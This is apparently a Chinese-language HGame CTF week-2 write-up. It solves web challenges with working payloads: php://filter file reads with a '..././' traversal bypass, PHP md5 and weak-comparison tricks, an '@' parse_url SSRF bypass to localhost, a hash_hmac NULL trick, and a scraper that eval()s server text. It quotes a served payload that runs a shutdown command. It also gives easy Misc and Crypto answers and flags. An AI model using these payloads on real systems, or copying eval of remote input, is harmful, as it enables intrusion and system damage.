> 头图中的 HGame Logo 来自**稳赚**大佬，使用前已获得授权。

硬核！是真的硬核！

一转眼就到 week2了，相比 week1，这周的题目难度突然上升！完全没有任何防备。 本来想着这周继续 ak web 的，但是第二天突然放出的了道 Java Web.....我的 ak 就没了23333 但是拿了两道题的一血，也算是很满足了！茄子超棒！！ 不过确实又学到了超多东西。虽说学习不是为了打 CTF，但是打 CTF 确实可以学习不少东西。 那么，就来看看吧。

Web

easy_php

首先打开看到是一个 html 文件，F12 看一下，发现了`where is my robots`这样的提示，进而联想到 Robots 协议，即`robots.txt`文件。 访问后看到`img/index.php`，然后我们访问这个页面，发现是一个 PHP 的代码审计。

```php
<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
```

这里只有一个`str_replace`函数过滤了文件路径中的`../`，我们可以使用`..././`来绕过。 这里的`include_once`可以使用 PHP 伪协议获取文件的源码。 然后.....就是十分灵性的地方了。因为刚开始做题的时候太快了，一时忘记了我的目的是为了拿到flag，疯狂的在尝试怎么读到`index.php`的内容，后来仔细一想，`index.php`的内容不就`highlight_file`给我了吗？被自己蠢死。 其实一上来，我们就应该试试去访问以下`flag.php`这个文件，这应该是一种习惯。 可以发现`http://118.24.25.25:9999/easyphp/flag.php`这个文件是存在的，那么我们就用 PHP 伪协议来读取这个文件的源代码。 最终的 payload:

```
http://118.24.25.25:9999/easyphp/img/index.php?
img=php://filter/read=convert.base64-encode/resource=..././flag
```

得到`base64`后的源码，`base64_decode`后为：

```
<?php
    //$flag = 'hgame{You_4re_So_g0od}';
    echo "maybe_you_should_think_think";
```

拿到flag：

```
hgame{You_4re_So_g0od}
```

php trick

拿了一血啊！很开心，但是这个题确实也是很硬核，主要是能不能搞清楚这个文件是要拿来干什么的。首先看到注释里的`admin.php`，访问一下，提示：

```
only localhost can see it
```

我想很多人包括我，这时都会去试一下在 URL 请求头里加上`X-Forwarded-For`。但是……并不行。

回来看题，这里几乎把 PHP 的弱类型比较全都考到了。首先是要`str1`和`str2`的值不一样，但是`md5`值一样，有两种方法。一种是强行`md5`碰撞，在网上也有很多例子，不过注意传进去的参数一定要进行 URL 编码。第二种是利用 PHP 弱类型比较，只要`str1`和`str2`的`md5`值均以`0e`开头，便会被当成科学计数法，当成数字比较，两边`0==0`返回`true`。百度随便找两个例子：`s878926199a`和`s155964671a`。**注意：这里把str1和str2强行转换成了string进行比较，所以不能传数组。**

之后需要`str3`和`str4`的值不一样，但是`md5`的值一样。这里使用的强比较，但是没有使用`(string)`强制转换，那我们可以传数组进去。因为`md5()`函数无法处理数组，并返回`NULL`，所以为`NULL===NULL`，返回`true`。

下面需要 URL 中不能包含`H_game`，但是`str5`却需要`H_game`这个 GET 参数。我们可以使用之前的把`H_game` URL 编码两次。但是还有更巧妙的方法：注意`H_game`这个参数包含一个下划线，`$_SERVER['QUERY_STRING']`会将一些“非法字符”，比如空格和点`.`，转换成`_`。因此我们也可以传入`H.game`或`H game`参数。`str5`不能是一个数字，但是需要比`9999999999`大。在 PHP 中，数组大于任何一个数字，所以我们可以传一个数组进去。完成 step6 和 step7。然后，我们传入的数组会被强行转换成一个字符串，它的值是`Array`，PHP 中字符串好像和`0`在弱比较时总是相等的，因此 step8 也通过了。

之后就是硬核的地方了。首先是需要搞清楚这道题要我们干什么，这也是解出本道题的关键。之前我们尝试改 URL 请求头访问`admin.php`无果。但是题目的最后有一个`curl`，因此我猜想可能是要用将这个`curl`做代理，来让服务器访问本地的`localhost`。那么问题来了，这里有个`parse_url()`函数来检查我们的 URL，限制了只能访问百度。这里百度了一下`parse_url()`函数的漏洞，具体可以参考一下这篇文章`http://www.am0s.com/functions/406.html`我们可以使用`@`来进行绕过，将`localhost`当成登录的用户名，然后`parse_url()`会将最后一个`@`之后的内容当成访问的主机地

址，即为`www.baidu.com`而`curl`却不一样，他好像就直接去掉`@`访问了。 唔……其实这里也并不很清楚其中的原理，多试了几次出来了。

```
url=http://@127.0.0.1:80@www.baidu.com/admin.php
```

然后`admin.php`中有一个`file_get_contents()`使得我们可以用 PHP 伪协议来读取源码： 最终的payload：

```
http://118.24.3.214:3001/?
str1=s878926199a&str2=s155964671a&str3[]=1&str4[]=2&H.game[]=1&url=http://@1
27.0.0.1:80@www.baidu.com/admin.php?
filename=php://filter/read=convert.base64-encode/resource=flag.php
```

拿到`base64`后的源码，解码后得到：

```
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>
```

flag为：

```
hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
```

PHP Is The Best Language

很有意思的一个题，感觉和`md5`那个有异曲同工之妙。 只是我想不到23333 我在 Google 上找到几乎一样的题，理解其原理后就好做了。 `https://www.securify.nl/blog/SFY20180101/spot-the-bug-challenge-2018-warm-up.html`

这里的问题在于，`$gate`需要`$secret`来加密，但是`$secret`我们是不知道的。 但是有这么一段：

```
$secret = hash_hmac('sha256', $_POST['door'], $secret);
```

我们可以在这里把`$secret`变成可控的。 与`md5()`的思路一样，若我们这里传入的`door`是一个数组，那么`hash_hmac`无法处理遍返回了`NULL`， 这样`$secret`就变成`NULL`了，我们也就知道了它的值。

这道题其实是两道题合在一起的，后面还有一个比较：

```
md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1
```

说来也巧，前阵子看群里讨论玩 md5，从中学到了用 PHP 枚举字符串，我们可以写个脚本来试一下：

```php
$a = 'a';
for($i = 0; $i < 999999999; $i++){
    if((md5($a) + 1) == (md5(md5($a))) + 1){
        echo($a);
        echo(111);
        break;
    }
    $a++;
}
```

居然第一个`a`就满足了！，之后的`e`也可以。 因此我们可以将参数`key`传个`a`进去，对应的`gate`为：

```php
$gate = hash_hmac('sha256', 'a', NULL);
```

即为：`9615a95d4a336118c435b9cd54c5e8644ab956b573aa2926274a1280b6674713`。 然后——Restlet Client 发送 POST 请求走起！ 最终payload：

```
curl 'http://118.25.89.91:8888/flag.php' -H 'Content-Type: application/x-www-form-urlencoded' --data 'door%5B%5D=&gate=9615a95d4a336118c435b9cd54c5e8644ab956b573aa2926274a1280b6674713&key=a' --compressed
```

拿到 flag：

```
hgame{Php_MayBe_Not_Safe}
```

Baby_Spider

又是一道拿了一血的题。更加硬核，槽点太多哈哈哈哈。

首先大声喊：Li4n0牛逼！Li4n0牛逼！Li4n0牛逼！ 感觉确实是一道很好的题，涵盖了爬虫的很多点，极具实战性。

因为题目中明确说了结果是通过 Python3 计算了，因此我们也只能使用 Python 来编写爬虫。 PHP 就告辞了。 思路其实不难。

首先是一个模拟登录：POST 发送自己的 Token 并获取到返回的 Cookie。

```python
import requests

r = requests.post('http://111.231.140.29:10000/',
    data={'token' : '这里是我的Token'},
    headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
```

然后获取到返回头，因为我太菜了，只能强行用字符串截取来获取 Cookie：

```
loginHeader = r.headers
loginSession = loginHeader['Set-Cookie']        # 获取 Set-Cookie 字段
removeIndex = loginSession.find(';')        # 找到结尾处 ; 的位置
loginSession = loginSession[:removeIndex]       # 拿到 Session
```

然后就可以向题目界面发起请求，并使用字符串截取来获取题目的内容。 题目内容位于`<div class="question-container"><span>`与`</span></div>`之间，请无视我那随便的变量名：

```
question = requests.get('http://111.231.140.29:10000/question', headers=
{'Cookie': loginSession})
firstIndex = question.text.find('<div class="question-container"><span>')
lastIndex = question.text.find('</span></div>')

timu = question.text[firstIndex + 38 :lastIndex - 2]
```

获取到题目后，可以使用`eval()`函数来“执行”，也就是计算：

```
result = eval(timu) # 计算题目
```

将计算结果发送至`http://111.231.140.29:10000/solution`进行提交，成功后会 302 跳到新的题目界面：

```
solutionRequest = requests.post('http://111.231.140.29:10000/solution',
    data={'answer' : result},
    headers={'Content-Type': 'application/x-www-form-urlencoded'}
    )
```

经过手动的尝试，我发现，每一次答完题后 Session 都会更新，那么我们在答完题后需要再一次获取新的 Cookie。

```
# 刷新 Session
loginHeader = solutionRequest.headers
loginSession = loginHeader['Set-Cookie']
removeIndex = loginSession.find(';')
loginSession = loginSession[:removeIndex]  # 拿到Session
```

然后就可以写个循环答题了！（然而司大哥肯定不会这么好心啦哈哈哈哈 大概在第十次的时候，会有些意外发生。Windows 用户表现在电脑直接关机，macOS 用户会因为没有关机的权限而报错停止运行。（这个时候 Mac 的优越性就体现出来了23333 感谢乔布斯，电脑并没有被关机，而是停止运行并报错了，打印一下页面的内容，发现题目居然是：

```
(lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'),
None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])
(globals())#-----
```

狡猾！狡猾！居然在代码中下毒！

那么问题来了，题目哪去了？ 我尝试了下手动答题，发现到了第十题后并没有出现这种情况。由此想到可能检查了请求头中的`Referer`、`User-Agent`等参数。 修改了下请求头：

```
solutionRequest = requests.post('http://111.231.140.29:10000/solution',
    data={'answer' : result},
    headers={'Content-Type': 'application/x-www-form-urlencoded','Cookie':
loginSession, 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X
10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98
Safari/537.36', 'Referer': 'http://111.231.140.29:10000/question'}
)
```

果然！这下就不关机了！这里确实也十分真实，很多 API 接口都会验证`UA`以及`Referer`。

继续，又出现问题了——题目计算十分正确，但就是返回算错了。 当时也是十分的懵逼。 还是尝试自己手动做一下，手速快一点就行。我们会发现，在 10 道题之后的样子，题目的数字样式会发生改变。打开 F12 仔细看一下，发现页面上显示的题目，与 F12 中显示的源代码是不一样的！

从页面的 CSS 文件中我找到了答案：CSS 文件中加载了一种特殊字体，其显示的数字与实际数字是打乱的。 这个防爬虫小技巧，携程也用过。他们为了防止爬虫爬飞机票价，就是用了另一种字体。（很早之前在知乎上看到的 打开那个名为 Ariali 的字体，找到它数字排序的规律，我们需要在第 20 次循环后替换题目中的数字：

```
timu = timu.replace('0', 'a')
timu = timu.replace('1', 'b')
timu = timu.replace('2', 'c')
timu = timu.replace('3', 'd')
timu = timu.replace('4', 'e')
timu = timu.replace('5', 'f')
timu = timu.replace('6', 'g')
timu = timu.replace('7', 'h')
timu = timu.replace('8', 'i')
timu = timu.replace('9', 'j')

timu = timu.replace('a', '1')
timu = timu.replace('b', '0')
timu = timu.replace('c', '2')
timu = timu.replace('d', '6')
timu = timu.replace('e', '9')
timu = timu.replace('f', '4')
timu = timu.replace('g', '3')
timu = timu.replace('h', '5')
timu = timu.replace('i', '8')
timu = timu.replace('j', '7')
```

之后再进行计算。

当题目到了 20 道时，又出问题了。这时我们无法再手动试一遍了。只能把那个 CSS 文件也给爬了一下。

```
# 抓css
cssRequest = requests.get('http://111.231.140.29:10000/statics/style.css',
    headers={'Cookie': loginSession, 'User-Agent' : 'Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.98 Safari/537.36', 'Referer':
'http://111.231.140.29:10000/question'}
)
```

我们可以看到，CSS 文件中多了一行形如：

```
.question-container:after{
    content:"(271634678)-338407148/(345959694/788619271)/612803566=?";
}
```

这里是通过 CSS 对题目进行了修改。因此，再 20 题之后，我们的题目应该从 CSS 中获得，然后再过一遍上面那个特殊字体的数字替换。

```
 # 抓css
cssRequest = requests.get('http://111.231.140.29:10000/statics/style.css',
    headers={'Cookie': loginSession, 'User-Agent' : 'Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.98 Safari/537.36', 'Referer':
'http://111.231.140.29:10000/question'}
)
firstIndex = cssRequest.text.find('content:"')
lastIndex = cssRequest.text.find('=?";')

timu = cssRequest.text[firstIndex + 9 :lastIndex]
```

就这样，做完了最后的 10 道题，就输出了我们的 flag 啦！！真是不容易啊……

```
hgame{3c940dde8f36b3550cd97794ce7485725836c19d0303708609dffc37de2d75d2}
```

附上简化过的爬虫代码，去掉了中间的调试的一些输出：

```
import requests

r = requests.post('http://111.231.140.29:10000/',
                  data={'token' : 'MeAFiqA0o1jX5VYrLf538EkekLrkg9XY'},
                  headers={'Content-Type': 'application/x-www-form-
urlencoded', 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
,'Referer': 'http://111.231.140.29:10000/question'}
                  )

loginHeader = r.headers
loginSession = loginHeader['Set-Cookie']
```

```
removeIndex = loginSession.find(';')
loginSession = loginSession[:removeIndex]       # 拿到Session

question = requests.get('http://111.231.140.29:10000/question', headers=
{'Cookie': loginSession})
firstIndex = question.text.find('<div class="question-container"><span>')
lastIndex = question.text.find('</span></div>')

timu = question.text[firstIndex + 38 :lastIndex - 2]

for i in range(1, 40):

    print("正在计算第 " + str(i) + " 题...")

    if i > 10 and i < 21:
        timu = timu.replace('0', 'a')
        timu = timu.replace('1', 'b')
        timu = timu.replace('2', 'c')
        timu = timu.replace('3', 'd')
        timu = timu.replace('4', 'e')
        timu = timu.replace('5', 'f')
        timu = timu.replace('6', 'g')
        timu = timu.replace('7', 'h')
        timu = timu.replace('8', 'i')
        timu = timu.replace('9', 'j')

        timu = timu.replace('a', '1')
        timu = timu.replace('b', '0')
        timu = timu.replace('c', '2')
        timu = timu.replace('d', '6')
        timu = timu.replace('e', '9')
        timu = timu.replace('f', '4')
        timu = timu.replace('g', '3')
        timu = timu.replace('h', '5')
        timu = timu.replace('i', '8')
        timu = timu.replace('j', '7')

    result = eval(timu) #第一题

    solutionRequest = requests.post('http://111.231.140.29:10000/solution',
                      data={'answer' : result},
                      headers={'Content-Type': 'application/x-www-form-
urlencoded', 'Cookie': loginSession, 'User-Agent' : 'Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.98 Safari/537.36', 'Referer':
'http://111.231.140.29:10000/question'}
                      )

    # 刷新 Session
```

```
    loginHeader = solutionRequest.headers
    loginSession = loginHeader['Set-Cookie']
    removeIndex = loginSession.find(';')
    loginSession = loginSession[:removeIndex]  # 拿到Session

    # 做题
    firstIndex = solutionRequest.text.find('<div class="question-container">
<span>')
    lastIndex = solutionRequest.text.find('</span></div>')

    timu = solutionRequest.text[firstIndex + 38 :lastIndex - 2]

    if 'hgame' in solutionRequest.text:
        print(solutionRequest.text)
        break

    if i >= 20:
        # 抓css
        cssRequest =
requests.get('http://111.231.140.29:10000/statics/style.css',
                          headers={'Cookie': loginSession, 'User-Agent' :
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Referer':
'http://111.231.140.29:10000/question'}
                          )

        firstIndex = cssRequest.text.find('content:"')
        lastIndex = cssRequest.text.find('=?";')
        timu = cssRequest.text[firstIndex + 9 :lastIndex]
```

这题确实硬核。但是十分真实，具有实践性。检查请求头、改字体这些确实是真真实实存在的反爬虫手段。关于更多有趣的方法，我推荐小伙伴们可以看看知乎的这个问题，最高赞的回答里就提到了携程的改字体反爬虫。

> 有哪些有趣的反爬虫手段？ https://www.zhihu.com/question/58342241

最后，Li4n0 牛逼！~~祝他早日找到女朋友~~

Misc

这周在肝学校的问卷调查系统，开学前就要上线；从零开始学 Vue.js，没时间做题QAQ。 Misc 就只做了两道。

Are You Familiar with DNS Records?

DNS 解析嘛，查看一下 DNS 的解析记录就好。 我们可以在`http://dbcha.com/`这里查询。 在 TXT 记录那里，可以找到 flag：

```
hgame{seems_like_you_are_familiar_with_dns}
```

初识二维码

动手题2333 下载下来后，拖进 PS 里面，然后按照普通的二维码，把三个定位点的位置补好就行。 注意尽可能的精确，可以从网上找一个完整二维码的图，然后把它的定位点抠下来，这样比例就正确了。

补好后，手机一扫出flag：

```
hgame{Qu1ck_ReSp0nse_cODe}
```

Crypto

还是划水2333

浪漫的足球圣地

题目就是很好的提示。 百度搜索下`浪漫的足球圣地`，第一条结果是曼彻斯特。 我猜肯定有个什么曼彻斯特密码。还真是！ 我们可以在网上找到这么一个软件：

将题目复制到 16 进制的文本框中，点击`16 -> 2`转换成二进制，再将二进制的文本复制到`曼彻斯特算法`的文本框中。 点击`曼彻斯特解码`，再点击`曼彻斯特转 16 进制`，得到：

```
6867616D657B336632346535363735393165396362616232613764326631663734386131643
7D
```

将这一段 base16 解码后得到 flag：

```
hgame{3f24e567591e9cbab2a7d2f1f748a1d4}
```

Vigener~

一上来就百度 Vigener。 得知这是维吉尼亚密码，第一条记录里面就有一个在线解密的网站。`http://68.168.134.3/vigener/` 将题目给的文字复制进去，点击无密钥解密。 解密出来的最后那一串就是flag。

```
hgame{gfyuytukxariyydfjlplwsxdbzwvqt}
```

唔……这周重在参与，不在乎上分。（其实就是太菜了